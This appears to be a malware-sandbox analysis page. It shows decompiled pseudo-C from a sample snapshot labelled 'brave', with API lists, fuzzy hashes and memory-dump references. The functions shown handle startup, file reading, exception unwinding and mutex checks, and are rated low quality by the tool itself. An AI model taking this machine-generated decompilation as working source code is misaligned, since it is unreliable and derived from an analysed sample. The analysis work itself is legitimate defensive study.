Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: strcmp$_stricmp
String ID: KF $y$}
API String ID: 3398372305-1747734038
Opcode ID: 2ee6c4bc9c73bbe018eb2e9c596121fa35c4079898e358f7aeca13623c809fb1
Instruction ID: c8afb9a5f7e99e8a2d33467c72d19133d135ecff82585b3f071b88e4fb8067bf
Opcode Fuzzy Hash: 2ee6c4bc9c73bbe018eb2e9c596121fa35c4079898e358f7aeca13623c809fb1
Instruction Fuzzy Hash: B022D022A19BC185EB71CB28E9053AA7BB0FF55784F8681B5DA8C83756DF7DE044D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F801190 Relevance: 10.7, APIs: 7, Instructions: 201
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 26%

			E00007FF67FF69F801190(void* __edi, void* __esp) {
				signed char _v120;
				char _v168;
				_Unknown_base(*)()* _t30;
				void* _t32;
				intOrPtr _t39;
				void* _t48;
				intOrPtr _t50;
				signed int _t52;
				signed int _t55;
				intOrPtr* _t87;
				long long _t88;
				intOrPtr* _t89;
				intOrPtr _t90;
				signed short* _t91;
				signed short* _t92;
				long long _t93;
				intOrPtr* _t95;
				intOrPtr _t97;
				long long* _t104;
				intOrPtr* _t109;
				signed short* _t110;
				signed long long _t111;
				void* _t113;
				signed short* _t114;
				long long _t118;
				signed long long _t122;

				_t111 =  *0x9fab69e0; // 0x7ff69fac10e0
				r9d =  *_t111;
				memset(__edi, 0, 0xd << 0);
				if (r9d != 0) goto 0x9f80148b;
				_t97 =  *0x9fab6900; // 0x7ff69fac1090
				goto 0x9f8011f9;
				if ( *((intOrPtr*)( *[gs:0x30] + 8)) ==  *[gs:0x30]) goto 0x9f801434;
				Sleep(??);
				asm("lock dec eax");
				if (_t113 != 0) goto 0x9f8011e8;
				_t109 =  *0x9fab6910; // 0x7ff69fac1098
				if ( *_t109 == 1) goto 0x9f80144b;
				if ( *_t109 == 0) goto 0x9f8014b4;
				 *0x9fac101c = 1;
				if ( *_t109 == 1) goto 0x9f801460;
				if (0 == 0) goto 0x9f801481;
				_t87 =  *0x9fab6870; // 0x7ff69fab5a40
				_t88 =  *_t87;
				if (_t88 == 0) goto 0x9f80125c;
				r8d = 0;
				E00007FF67FF69F80E830( *_t88());
				_t30 = SetUnhandledExceptionFilter(??);
				_t104 =  *0x9fab68f0; // 0x7ff69fac1120
				 *_t104 = _t88;
				_t32 = E00007FF67FF69F80E640(E00007FF67FF69F821D80(_t30, 0x7ff69f801000));
				_t89 =  *0x9fab6890; // 0x7ff69f800000
				 *0x9fac1010 = _t89;
				E00007FF67FF69F821E70(_t32);
				_t90 =  *_t89;
				if (_t90 != 0) goto 0x9f8012c3;
				goto 0x9f801308;
				if (2 == 0) goto 0x9f8012dd;
				if (2 == 0) goto 0x9f8012dd;
				_t91 = _t90 + 2;
				_t52 =  *_t91 & 0x0000ffff;
				if (_t52 - 0x20 <= 0) goto 0x9f8012b0;
				r8d = 1;
				r8d = r8d ^ 0x00000001;
				_t48 =  ==  ? r8d : 1;
				goto 0x9f8012bf;
				if (_t52 - 1 - 0x1f > 0) goto 0x9f801301;
				asm("o16 nop [cs:eax+eax]");
				_t92 =  &(_t91[1]);
				if (_t97 - 1 - 0x1f <= 0) goto 0x9f8012f0;
				 *0x9fac1008 = _t92;
				r8d =  *_t111;
				if (r8d == 0) goto 0x9f801326;
				if ((_v120 & 0x00000001) != 0) goto 0x9f80142a;
				 *0x9f833000 = 0xa;
				_t10 =  *0x9fac1038 + 1; // 0x7ffa26c83ca1
				r13d = _t10;
				_t122 = r13d << 3;
				malloc(??);
				_t110 =  *0x9fac1030; // 0x1455cd95bd0
				_t114 = _t92;
				if (r12d <= 0) goto 0x9f8013ab;
				asm("o16 nop [eax+eax]");
				_t93 =  *((intOrPtr*)(_t110 + _t111 * 8));
				if ( *_t93 == 0) goto 0x9f801420;
				r8d = 1;
				if ( *((short*)(_t93 + ( &_v168 + 1) * 2 - 2)) != 0) goto 0x9f801370;
				malloc(??);
				 *((long long*)(_t114 + _t111 * 8)) = _t93;
				memcpy(??, ??, ??);
				if ( *0x9fac1038 != _t111 + 1) goto 0x9f801358;
				_t22 = _t122 - 8; // -8
				 *((long long*)(_t114 + _t22)) = 0;
				 *0x9fac1030 = _t114; // executed
				E00007FF67FF69F80E430();
				_t95 =  *0x9fab68a0; // 0x7ff69fac2708
				_t118 =  *0x9fac1028; // 0x1455cd968a0
				 *((long long*)( *_t95)) = _t118;
				_t39 = E00007FF67FF69F801770( *_t95);
				_t50 =  *0x9fac1020; // 0x0
				 *0x9fac1024 = _t39;
				if (_t50 == 0) goto 0x9f8014d2;
				_t55 =  *0x9fac101c; // 0x0
				if (_t55 == 0) goto 0x9f801499;
				return _t39;
			}

0x7ff69f80119f
0x7ff69f8011ad
0x7ff69f8011b8
0x7ff69f8011be
0x7ff69f8011cd
0x7ff69f8011e1
0x7ff69f8011eb
0x7ff69f8011f6
0x7ff69f8011fc
0x7ff69f801204
0x7ff69f801206
0x7ff69f801214
0x7ff69f80121e
0x7ff69f801224
0x7ff69f801233
0x7ff69f80123b
0x7ff69f801241
0x7ff69f801248
0x7ff69f80124e
0x7ff69f801250
0x7ff69f80125c
0x7ff69f801268
0x7ff69f80126e
0x7ff69f80127c
0x7ff69f801284
0x7ff69f801289
0x7ff69f801290
0x7ff69f801297
0x7ff69f80129e
0x7ff69f8012a4
0x7ff69f8012a6
0x7ff69f8012b3
0x7ff69f8012b8
0x7ff69f8012bf
0x7ff69f8012c3
0x7ff69f8012ca
0x7ff69f8012cc
0x7ff69f8012cf
0x7ff69f8012d7
0x7ff69f8012db
0x7ff69f8012e4
0x7ff69f8012e6
0x7ff69f8012f4
0x7ff69f8012ff
0x7ff69f801301
0x7ff69f801308
0x7ff69f80130e
0x7ff69f80131a
0x7ff69f801320
0x7ff69f80132d
0x7ff69f80132d
0x7ff69f801335
0x7ff69f80133c
0x7ff69f801341
0x7ff69f801348
0x7ff69f80134e
0x7ff69f801352
0x7ff69f801358
0x7ff69f801360
0x7ff69f801366
0x7ff69f80137b
0x7ff69f801384
0x7ff69f80138c
0x7ff69f80139c
0x7ff69f8013a4
0x7ff69f8013a6
0x7ff69f8013ab
0x7ff69f8013b2
0x7ff69f8013b9
0x7ff69f8013be
0x7ff69f8013c5
0x7ff69f8013d5
0x7ff69f8013df
0x7ff69f8013e4
0x7ff69f8013ea
0x7ff69f8013f2
0x7ff69f8013f8
0x7ff69f801400
0x7ff69f801415

APIs

Sleep.KERNEL32 ref: 00007FF69F8011F6
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF69F801268
malloc.MSVCRT ref: 00007FF69F80133C
malloc.MSVCRT ref: 00007FF69F801384
memcpy.MSVCRT ref: 00007FF69F80139C
GetStartupInfoW.KERNEL32 ref: 00007FF69F80148E

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpy
String ID:
API String ID: 772431862-0
Opcode ID: 309c151dfdb08d85403840f07dcb93ad76ef44dc397d826adaf2311f482d26cf
Instruction ID: 7c235645d73f3b0c99092415031b9fb7675a6b484bbce24089f96e9b4b4eaa1d
Opcode Fuzzy Hash: 309c151dfdb08d85403840f07dcb93ad76ef44dc397d826adaf2311f482d26cf
Instruction Fuzzy Hash: 92917B35E0AA4785FBB09B15E6507B923B1FF46BA4F8A44B5DA0DC3791DF6DE840A300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8043C0 Relevance: 4.6, APIs: 3, Instructions: 65
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E00007FF67FF69F8043C0(void* __esi, long long __rax, void* __rcx, long* __rdx) {
				long long _v48;
				char _v56;
				long long _v72;
				long long _v80;
				long _v88;
				long long _v96;
				long long _v104;
				long _t10;
				long _t13;
				long long _t22;
				long* _t25;

				_t22 = __rax;
				_t25 = __rdx;
				E00007FF67FF69F8039D0(1, __rax, __rcx); // executed
				if (_t22 == 0xffffffff) goto 0x9f804470;
				_v56 = 0;
				_v48 = 0;
				_t10 = GetFileSize(??, ??);
				r13d = _t10;
				 *_t25 = _t10;
				GetProcessHeap();
				r8d = r13d;
				HeapAlloc(??, ??, ??); // executed
				r9d = 0;
				r8d = 0;
				_v72 = 0;
				_t13 =  *_t25;
				_v80 = 0;
				_v88 = _t13;
				_v96 = _t22;
				_v104 =  &_v56;
				E00007FF67FF69F804CEF(); // executed
				E00007FF67FF69F804D0D(); // executed
				if (_t13 < 0) goto 0x9f804488;
				return _t13;
			}

0x7ff69f8043c0
0x7ff69f8043ca
0x7ff69f8043d2
0x7ff69f8043de
0x7ff69f8043e4
0x7ff69f8043f2
0x7ff69f8043fb
0x7ff69f804401
0x7ff69f804404
0x7ff69f804406
0x7ff69f80440c
0x7ff69f804414
0x7ff69f80441a
0x7ff69f80441d
0x7ff69f804422
0x7ff69f80442e
0x7ff69f804433
0x7ff69f80443c
0x7ff69f804445
0x7ff69f80444a
0x7ff69f80444f
0x7ff69f804459
0x7ff69f804460
0x7ff69f80446f

APIs

Part of subcall function 00007FF69F8039D0: wcslen.MSVCRT ref: 00007FF69F803A58
Part of subcall function 00007FF69F8039D0: wcslen.MSVCRT ref: 00007FF69F803AE6

GetFileSize.KERNEL32 ref: 00007FF69F8043FB
GetProcessHeap.KERNEL32 ref: 00007FF69F804406
HeapAlloc.KERNEL32 ref: 00007FF69F804414

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Heapwcslen$AllocFileProcessSize
String ID:
API String ID: 3094376029-0
Opcode ID: 8747bc97a8ec603a8d9fb6253d556c17b9cff4c359a1c4cc04460738ee61749f
Instruction ID: f230f41743356c62f4840bb6b9d4437800870e37bf6c9f711371feea2643a47d
Opcode Fuzzy Hash: 8747bc97a8ec603a8d9fb6253d556c17b9cff4c359a1c4cc04460738ee61749f
Instruction Fuzzy Hash: EF110332A05A1441EB61EB26B80579773A0FB84BBCF840236DE5D43794EFBC8085C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F832490 Relevance: 1.4, APIs: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00007FF67FF69F832490() {
				long long _v296;
				void* _t51;
				void* _t53;
				void* _t54;
				int _t56;
				long long* _t65;
				void* _t66;
				void* _t67;
				int _t75;
				void* _t120;
				int _t121;
				int _t122;
				int _t123;
				int _t124;
				int _t125;
				int _t130;

				E00007FF67FF69F8319A0(_t53, _t54, _t56, _t67);
				_t121 = _t56;
				E00007FF67FF69F82A110(_t56, _t67);
				E00007FF67FF69F832160(0x10, _t51, _t56, _t66, _t121, 0x9fab6bb0, 0x7ff69f82a230, _t120, _t121, _t67);
				_t128 = _t56;
				E00007FF67FF69F831CF0(_t121);
				E00007FF67FF69F80FEC0();
				_push(_t56);
				_push(_t121);
				E00007FF67FF69F8319A0(_t53, _t54, _t56, _t128);
				_t122 = _t56;
				E00007FF67FF69F82A290(_t56, _t128);
				E00007FF67FF69F832160(0x10, _t51, _t56, _t66, _t122, 0x9fab6bd0, 0x7ff69f82a3b0, _t120, _t122, _t128);
				_t130 = _t56;
				E00007FF67FF69F831CF0(_t122);
				_t75 = _t130;
				E00007FF67FF69F80FEC0();
				_push(_t130);
				_push(_t122);
				E00007FF67FF69F8319A0(_t53, _t54, _t56, _t75);
				_t123 = _t56;
				E00007FF67FF69F82A7A0(_t56, _t75);
				E00007FF67FF69F832160(0x10, _t51, _t56, _t66, _t123, 0x9fab6c10, 0x7ff69f82a8d0, _t120, _t123, _t75);
				_t132 = _t56;
				E00007FF67FF69F831CF0(_t123);
				E00007FF67FF69F80FEC0();
				_push(_t56);
				_push(_t123);
				E00007FF67FF69F8319A0(_t53, _t54, _t56, _t132);
				_t124 = _t56;
				E00007FF67FF69F829850(_t56, _t132);
				E00007FF67FF69F832160(0x10, _t51, _t56, _t66, _t124, 0x9fab6b70, 0x7ff69f829970, _t120, _t124, _t132);
				_t134 = _t56;
				E00007FF67FF69F831CF0(_t124);
				E00007FF67FF69F80FEC0();
				_push(_t56);
				_push(_t124);
				E00007FF67FF69F8319A0(_t53, _t54, _t56, _t134);
				_t125 = _t56;
				E00007FF67FF69F82A970(_t56, _t134);
				E00007FF67FF69F832160(0x10, _t51, _t56, _t66, _t125, 0x9fab6c30, 0x7ff69f82aa90, _t120, _t125, _t134);
				_t136 = _t56;
				E00007FF67FF69F831CF0(_t125);
				E00007FF67FF69F80FEC0();
				_push(_t56);
				E00007FF67FF69F8319A0(_t53, _t54, _t56, _t136);
				_t126 = _t56;
				E00007FF67FF69F82AAF0(_t56, _t136);
				E00007FF67FF69F832160(0x10, _t51, _t56, _t66, _t56, 0x9fab6c50, 0x7ff69f82ac10, _t120, _t56, _t136);
				E00007FF67FF69F831CF0(_t126);
				E00007FF67FF69F80FEC0();
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				_t65 =  *0x10;
				asm("ud2");
				0;
				E00007FF67FF69F810980(0x9fab2d20, 0x9fab6c50);
				 *0x9fab2d38 = 0x12400; // executed
				malloc(_t125); // executed
				 *0x9fab2d30 = _t65;
				if (_t65 == 0) goto 0x9f832789;
				 *0x9fab2d28 = _t65;
				 *_t65 = 0x12400;
				 *((long long*)(_t65 + 8)) = 0;
				goto E00007FF67FF69F801520;
				 *0x9fab2d38 = 0;
				 *0x9fab2d28 = 0;
				goto 0x9f832779;
				0;
				0;
				0;
			}

0x7ff69f8324a0
0x7ff69f8324ab
0x7ff69f8324ae
0x7ff69f8324c4
0x7ff69f8324c9
0x7ff69f8324cf
0x7ff69f8324d7
0x7ff69f8324e0
0x7ff69f8324e2
0x7ff69f8324f0
0x7ff69f8324fb
0x7ff69f8324fe
0x7ff69f832514
0x7ff69f832519
0x7ff69f83251f
0x7ff69f832524
0x7ff69f832527
0x7ff69f832530
0x7ff69f832532
0x7ff69f832540
0x7ff69f83254b
0x7ff69f83254e
0x7ff69f832564
0x7ff69f832569
0x7ff69f83256f
0x7ff69f832577
0x7ff69f832580
0x7ff69f832582
0x7ff69f832590
0x7ff69f83259b
0x7ff69f83259e
0x7ff69f8325b4
0x7ff69f8325b9
0x7ff69f8325bf
0x7ff69f8325c7
0x7ff69f8325d0
0x7ff69f8325d2
0x7ff69f8325e0
0x7ff69f8325eb
0x7ff69f8325ee
0x7ff69f832604
0x7ff69f832609
0x7ff69f83260f
0x7ff69f832617
0x7ff69f832620
0x7ff69f832630
0x7ff69f83263b
0x7ff69f83263e
0x7ff69f832654
0x7ff69f83265f
0x7ff69f832667
0x7ff69f832670
0x7ff69f832681
0x7ff69f832683
0x7ff69f832694
0x7ff69f832696
0x7ff69f8326a7
0x7ff69f8326a9
0x7ff69f8326ba
0x7ff69f8326bc
0x7ff69f8326c7
0x7ff69f8326c9
0x7ff69f8326da
0x7ff69f8326dc
0x7ff69f8326ed
0x7ff69f8326ef
0x7ff69f832700
0x7ff69f832702
0x7ff69f832713
0x7ff69f832715
0x7ff69f83271e
0x7ff69f832726
0x7ff69f83272e
0x7ff69f83273d
0x7ff69f832747
0x7ff69f832752
0x7ff69f832757
0x7ff69f832761
0x7ff69f832763
0x7ff69f83276a
0x7ff69f832771
0x7ff69f832784
0x7ff69f832789
0x7ff69f832794
0x7ff69f83279f
0x7ff69f8327a7
0x7ff69f8327ab
0x7ff69f8327af

APIs

Part of subcall function 00007FF69F8319A0: malloc.MSVCRT(?,?,?,?,00007FF69F8323B5,?,?,?,?,00007FF69F803C24), ref: 00007FF69F8319B1

Part of subcall function 00007FF69F82A110: strlen.MSVCRT ref: 00007FF69F82A13B

Part of subcall function 00007FF69F80FEC0: RtlCaptureContext.KERNEL32 ref: 00007FF69F80FF45
Part of subcall function 00007FF69F80FEC0: RtlUnwindEx.KERNEL32 ref: 00007FF69F80FF63
Part of subcall function 00007FF69F80FEC0: abort.MSVCRT ref: 00007FF69F80FF69

Part of subcall function 00007FF69F82A290: strlen.MSVCRT ref: 00007FF69F82A2BB

Part of subcall function 00007FF69F82A7A0: strlen.MSVCRT ref: 00007FF69F82A7CB

Part of subcall function 00007FF69F829850: strlen.MSVCRT ref: 00007FF69F82987B

Part of subcall function 00007FF69F82A970: strlen.MSVCRT ref: 00007FF69F82A99B

Part of subcall function 00007FF69F82AAF0: strlen.MSVCRT ref: 00007FF69F82AB1B

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: strlen$malloc$CaptureContextUnwindabort
String ID:
API String ID: 3412053993-0
Opcode ID: f0681c3af7f834308cd656b74fdb5bd540acaac29b47731a026287562199051c
Instruction ID: 8a41938902b93c2d28f9a319926b3741ce4d0118464f8101e0796070fb3d2f89
Opcode Fuzzy Hash: f0681c3af7f834308cd656b74fdb5bd540acaac29b47731a026287562199051c
Instruction Fuzzy Hash: 5E619620E1964690EAA4AB12BD553F62371FF86BC9F811871ED4D8B3A6CE7CE045A344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F832530 Relevance: 1.4, APIs: 1, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00007FF67FF69F832530() {
				long long _v184;
				void* _t39;
				void* _t41;
				void* _t42;
				int _t44;
				long long* _t53;
				void* _t54;
				void* _t55;
				void* _t92;
				int _t93;
				int _t94;
				int _t95;

				E00007FF67FF69F8319A0(_t41, _t42, _t44, _t55);
				_t93 = _t44;
				E00007FF67FF69F82A7A0(_t44, _t55);
				E00007FF67FF69F832160(0x10, _t39, _t44, _t54, _t93, 0x9fab6c10, 0x7ff69f82a8d0, _t92, _t93, _t55);
				_t98 = _t44;
				E00007FF67FF69F831CF0(_t93);
				E00007FF67FF69F80FEC0();
				_push(_t44);
				_push(_t93);
				E00007FF67FF69F8319A0(_t41, _t42, _t44, _t98);
				_t94 = _t44;
				E00007FF67FF69F829850(_t44, _t98);
				E00007FF67FF69F832160(0x10, _t39, _t44, _t54, _t94, 0x9fab6b70, 0x7ff69f829970, _t92, _t94, _t98);
				_t100 = _t44;
				E00007FF67FF69F831CF0(_t94);
				E00007FF67FF69F80FEC0();
				_push(_t44);
				_push(_t94);
				E00007FF67FF69F8319A0(_t41, _t42, _t44, _t100);
				_t95 = _t44;
				E00007FF67FF69F82A970(_t44, _t100);
				E00007FF67FF69F832160(0x10, _t39, _t44, _t54, _t95, 0x9fab6c30, 0x7ff69f82aa90, _t92, _t95, _t100);
				_t102 = _t44;
				E00007FF67FF69F831CF0(_t95);
				E00007FF67FF69F80FEC0();
				_push(_t44);
				E00007FF67FF69F8319A0(_t41, _t42, _t44, _t102);
				_t96 = _t44;
				E00007FF67FF69F82AAF0(_t44, _t102);
				E00007FF67FF69F832160(0x10, _t39, _t44, _t54, _t44, 0x9fab6c50, 0x7ff69f82ac10, _t92, _t44, _t102);
				E00007FF67FF69F831CF0(_t96);
				E00007FF67FF69F80FEC0();
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				_t53 =  *0x10;
				asm("ud2");
				0;
				E00007FF67FF69F810980(0x9fab2d20, 0x9fab6c50);
				 *0x9fab2d38 = 0x12400; // executed
				malloc(_t95); // executed
				 *0x9fab2d30 = _t53;
				if (_t53 == 0) goto 0x9f832789;
				 *0x9fab2d28 = _t53;
				 *_t53 = 0x12400;
				 *((long long*)(_t53 + 8)) = 0;
				goto E00007FF67FF69F801520;
				 *0x9fab2d38 = 0;
				 *0x9fab2d28 = 0;
				goto 0x9f832779;
				0;
				0;
				0;
			}

0x7ff69f832540
0x7ff69f83254b
0x7ff69f83254e
0x7ff69f832564
0x7ff69f832569
0x7ff69f83256f
0x7ff69f832577
0x7ff69f832580
0x7ff69f832582
0x7ff69f832590
0x7ff69f83259b
0x7ff69f83259e
0x7ff69f8325b4
0x7ff69f8325b9
0x7ff69f8325bf
0x7ff69f8325c7
0x7ff69f8325d0
0x7ff69f8325d2
0x7ff69f8325e0
0x7ff69f8325eb
0x7ff69f8325ee
0x7ff69f832604
0x7ff69f832609
0x7ff69f83260f
0x7ff69f832617
0x7ff69f832620
0x7ff69f832630
0x7ff69f83263b
0x7ff69f83263e
0x7ff69f832654
0x7ff69f83265f
0x7ff69f832667
0x7ff69f832670
0x7ff69f832681
0x7ff69f832683
0x7ff69f832694
0x7ff69f832696
0x7ff69f8326a7
0x7ff69f8326a9
0x7ff69f8326ba
0x7ff69f8326bc
0x7ff69f8326c7
0x7ff69f8326c9
0x7ff69f8326da
0x7ff69f8326dc
0x7ff69f8326ed
0x7ff69f8326ef
0x7ff69f832700
0x7ff69f832702
0x7ff69f832713
0x7ff69f832715
0x7ff69f83271e
0x7ff69f832726
0x7ff69f83272e
0x7ff69f83273d
0x7ff69f832747
0x7ff69f832752
0x7ff69f832757
0x7ff69f832761
0x7ff69f832763
0x7ff69f83276a
0x7ff69f832771
0x7ff69f832784
0x7ff69f832789
0x7ff69f832794
0x7ff69f83279f
0x7ff69f8327a7
0x7ff69f8327ab
0x7ff69f8327af

APIs

Part of subcall function 00007FF69F8319A0: malloc.MSVCRT(?,?,?,?,00007FF69F8323B5,?,?,?,?,00007FF69F803C24), ref: 00007FF69F8319B1

Part of subcall function 00007FF69F82A7A0: strlen.MSVCRT ref: 00007FF69F82A7CB

Part of subcall function 00007FF69F80FEC0: RtlCaptureContext.KERNEL32 ref: 00007FF69F80FF45
Part of subcall function 00007FF69F80FEC0: RtlUnwindEx.KERNEL32 ref: 00007FF69F80FF63
Part of subcall function 00007FF69F80FEC0: abort.MSVCRT ref: 00007FF69F80FF69

Part of subcall function 00007FF69F829850: strlen.MSVCRT ref: 00007FF69F82987B

Part of subcall function 00007FF69F82A970: strlen.MSVCRT ref: 00007FF69F82A99B

Part of subcall function 00007FF69F82AAF0: strlen.MSVCRT ref: 00007FF69F82AB1B

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: strlen$malloc$CaptureContextUnwindabort
String ID:
API String ID: 3412053993-0
Opcode ID: 93d5ee2c6aaf0008122d9e70a301f82916df8bd8c2d61856d1b3d42c2f024549
Instruction ID: f18817d12ddd67f6aa3b4728dce954dfef90a9d9d6d995133fa46f499b4992bb
Opcode Fuzzy Hash: 93d5ee2c6aaf0008122d9e70a301f82916df8bd8c2d61856d1b3d42c2f024549
Instruction Fuzzy Hash: 34517321A0960680FAB4AB16FD553F62370FF85BC9F411875ED8D8B3A6CEBCE045A344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F817060 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 157
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF69F817068
CreateMutexA.KERNEL32 ref: 00007FF69F817177
WaitForSingleObject.KERNEL32 ref: 00007FF69F817188
FindAtomA.KERNEL32 ref: 00007FF69F81719D
AddAtomA.KERNEL32 ref: 00007FF69F8171DD
_onexit.MSVCRT ref: 00007FF69F8171FA
